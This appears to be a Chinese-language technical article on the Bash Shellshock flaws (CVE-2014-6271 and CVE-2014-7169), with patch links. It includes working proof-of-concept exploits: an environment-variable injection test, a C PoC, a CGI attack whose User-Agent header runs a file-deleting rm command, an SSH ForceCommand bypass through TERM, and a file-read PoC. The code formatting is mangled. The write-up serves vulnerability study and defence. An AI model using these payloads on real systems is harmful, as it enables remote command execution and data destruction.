author: shawn
0x00 什么是BASH
Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深 度整合的多功能接口。
0x01 CVE-2014-6271
法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名的SHELL实)的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:
在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。
Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响。
PHP脚本执行在mod_php不会受影响。 DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。
OpenSSH, Apache2, php, dhcp client甚至带SUID的程序。
1,本地SHELL环境中测试是否有漏洞:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果存在漏洞会打印”vulnerable”。
2,C程序:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
----------------------------------------------------------------------------- /* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */ #include <unistd.h> #include <stdio.h> int main() { char *envp[] = { "PATH=/bin:/usr/bin" , "/usr/bin/id=() { " "echo pwn me twice, shame on me; }; " "echo pwn me once, shame on you" , NULL }; char *argv[] = { "/bin/bash" , NULL }; execve(argv[0], argv, envp); perror ( "execve" ); return 1; } |
测试:
1
2
3
4
5
|
je@tiny:~$ gcc -o bash -is-fun bash -is-fun.c je@tiny:~$ . /bash-is-fun pwn me once, shame on you je@tiny: /home/je $ /usr/bin/id pwn me twice, shame on me |
这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。
3,INVISIBLETHREAT上对于HTTP环境的测试:
创建一个脚本叫poc.cgi:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
#!/bin/bash echo "Content-type: text/html" echo "" echo '<html>' echo '<head>' echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">' echo '<title>PoC</title>' echo '</head>' echo '<body>' echo '<pre>' /usr/bin/env echo '</pre>' echo '</body>' echo '</html>' exit 0 |
把脚本放入测试机后,输入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
$ curl http: //192 .168.0.1 /poc .cgi <html> < head > <meta http-equiv= "Content-Type" content= "text/html; charset=UTF-8" > <title>PoC< /title > < /head > <body> <pre> SERVER_SIGNATURE=<address>Apache /2 .2.22 (Debian) Server at 192.168.0.1 Port 80< /address > HTTP_USER_AGENT=curl /7 .26.0 SERVER_PORT=80 HTTP_HOST=192.168.0.1 DOCUMENT_ROOT= /var/www SCRIPT_FILENAME= /var/www/poc .cgi REQUEST_URI= /poc .cgi SCRIPT_NAME= /poc .cgi REMOTE_PORT=40974 PATH= /usr/local/bin : /usr/bin : /bin PWD= /var/www SERVER_ADMIN=webmaster@localhost HTTP_ACCEPT=*/* REMOTE_ADDR=192.168.0.1 SHLVL=1 SERVER_NAME=192.168.0.1 SERVER_SOFTWARE=Apache /2 .2.22 (Debian) QUERY_STRING= SERVER_ADDR=192.168.0.1 GATEWAY_INTERFACE=CGI /1 .1 SERVER_PROTOCOL=HTTP /1 .1 REQUEST_METHOD=GET _= /usr/bin/env < /pre > < /body > < /html > |
再来试试使用curl设置一个user-agent玩玩:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$ curl -A "() { :; }; /bin/rm /var/www/target" http: //192 .168.0.1 /poc .cgi <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" > <html>< head > <title>500 Internal Server Error< /title > < /head ><body> <h1>Internal Server Error< /h1 > <p>The server encountered an internal error or misconfiguration and was unable to complete your request.< /p > <p>Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.< /p > <p>More information about this error may be available in the server error log.< /p > <hr> <address>Apache /2 .2.22 (Debian) Server at 192.168.0.1 Port 80< /address > < /body >< /html > |
上面已经把/var/www/target给删除了,再来看看:
1
2
3
4
5
6
7
8
9
10
11
|
$ curl http: //192 .168.0.1 /target <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" > <html>< head > <title>404 Not Found< /title > < /head ><body> <h1>Not Found< /h1 > <p>The requested URL /target was not found on this server.< /p > <hr> <address>Apache /2 .2.22 (Debian) Server at 192.168.0.1 Port 80< /address > < /body >< /html > |
这个例子当中,内容被传入 HTTP_USER_AGENT (CGI 会把HTTP头当成环境变量解析). 最终变成这样:
1
2
3
4
|
HTTP_USER_AGENT() { :; }; /bin/rm /var/www/target |
应该只解析函数的定义,但是后面的内容仍然执行了。
4, 针对OpenSSH的POC
目前有2个攻击平面,Solar Designer给出了SSH_ORIGINAL_COMMAND的本地利用方法:
seclists.org/oss-sec/2014/q3/651
还有就是针对远程利用的POC,通过利用TERM:
在机器A上生成一对RSA key pair:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
shawn@debian-test32:~/. ssh $ ssh -keygen Generating public /private rsa key pair. Enter file in which to save the key ( /home/shawn/ . ssh /id_rsa ): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/shawn/ . ssh /id_rsa . Your public key has been saved in /home/shawn/ . ssh /id_rsa .pub. The key fingerprint is: 09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b: dc shawn@debian-test32 The key's randomart image is: +--[ RSA 2048]----+ | ... | | .o . | | ooo | | o +.o. | | = =S. | | . * o E | | o o . + | |. = o o | |oo . . | +-----------------+ |
把A的公钥拷贝到机器B上:
1
2
|
$ cat /home/shawn/ . ssh /authorized_keys command = "/tmp/ssh.sh" ssh -rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3 /WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q +Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f /8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32 |
一个用于控制command/SSH_ORIGINAL_COMMAND的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
shawn@linux-ionf:~/. ssh > cat /tmp/ssh .sh #!/bin/sh case "$SSH_ORIGINAL_COMMAND" in "ps" ) ps -ef ;; "vmstat" ) vmstat 1 100 ;; "cups stop" ) /etc/init .d /cupsys stop ;; "cups start" ) /etc/init .d /cupsys start ;; *) echo "Sorry. Only these commands are available to you:" echo "ps, vmstat, cupsys stop, cupsys start" #exit 1 ;; esac |
机器A上可以正常的使用限制脚本:
1
2
3
4
5
6
7
|
shawn@debian-test32:~/. ssh $ export SSH_ORIGINAL_COMMAND= "ps" shawn@debian-test32:~/. ssh $ ssh shawn@192.168.115.129 $SSH_ORIGINAL_COMMAND Enter passphrase for key '/home/shawn/.ssh/id_rsa' : UID PID PPID C STIME TTY TIME CMD root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts root 2 0 0 16:47 ? 00:00:00 [kthreadd] root 3 2 0 16:47 ? 00:00:00 [ksoftirqd /0 ] |
借助TERM来利用:
1
2
3
4
|
shawn@debian-test32:~$ export TERM= '() { :;}; id' ; ssh shawn@192.168.115.129 Enter passphrase for key '/home/shawn/.ssh/id_rsa' : uid=1000(shawn) gid=100( users ) groups =100( users ) Connection to 192.168.115.129 closed. |
0x02 补丁和后续
从最早GNU/Linux发行版社区收到的补丁:
https://bugzilla.novell.com/attachment.cgi?id=606672
可以看出BASH的确没有做异常处理,而直接解析后就执行了。
正式的社区补丁在这里:
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:
1
2
3
4
5
6
|
shawn@shawn-fortress /tmp $ date -u > test_file shawn@shawn-fortress /tmp $ env X= '() { (a)=<\' bash -c ' test_file cat ' bash : X: line 1: syntax error near unexpected token `=' bash : X: line 1: `' bash : error importing function definition for `X' Thu Sep 25 09:37:04 UTC 2014 |
这个POC可以让攻击者能读文件,看来后续的故事还没结束……………….
[1] BASH [2] Bash specially-crafted environment variables code injection attack [3] CVE-2014-6271 [4] CVE-2014-7169 [5] CVE-2014-6271: remote code execution through bash
版权声明:未经授权禁止转载 insight-labs@乌云知识库